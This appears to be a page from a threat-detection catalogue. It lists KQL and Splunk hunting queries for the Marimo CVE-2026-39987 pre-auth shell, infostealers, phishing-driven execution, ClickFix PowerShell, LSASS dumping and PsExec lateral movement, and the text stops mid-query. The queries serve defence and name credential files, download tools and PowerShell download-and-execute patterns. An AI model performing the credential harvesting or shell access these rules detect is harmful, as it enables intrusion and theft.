DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2025-12-164 use cases0 techniques3 kill-chain phases detected
Fortinet FortiOS, FortiSwitchMaster, FortiProxy, and FortiWeb contain an improper verification of cryptographic signature vulnerability that may allow an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML message. Please be aware that CVE-2025-59719 pertains to the same problem and is mentioned in the same vendor advisory. Ensure to apply all patches mentioned in the advisory. Vendor: Fortinet, Product: Multiple Products. Federal patch due: 2025-12-23.
CVEsCVE-2025-59718CVE-2025-59719
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-59718", "CVE-2025-59719")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-59718", "CVE-2025-59719")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-154 use cases0 techniques3 kill-chain phases detected
Apple iOS, iPadOS, macOS, and other Apple products contain a use-after-free vulnerability in WebKit. Processing maliciously crafted web content may lead to memory corruption. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. Vendor: Apple, Product: Multiple Products. Federal patch due: 2026-01-05.
CVEsCVE-2023-43000CVE-2025-43529
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-43000", "CVE-2025-43529")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-43000", "CVE-2025-43529")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
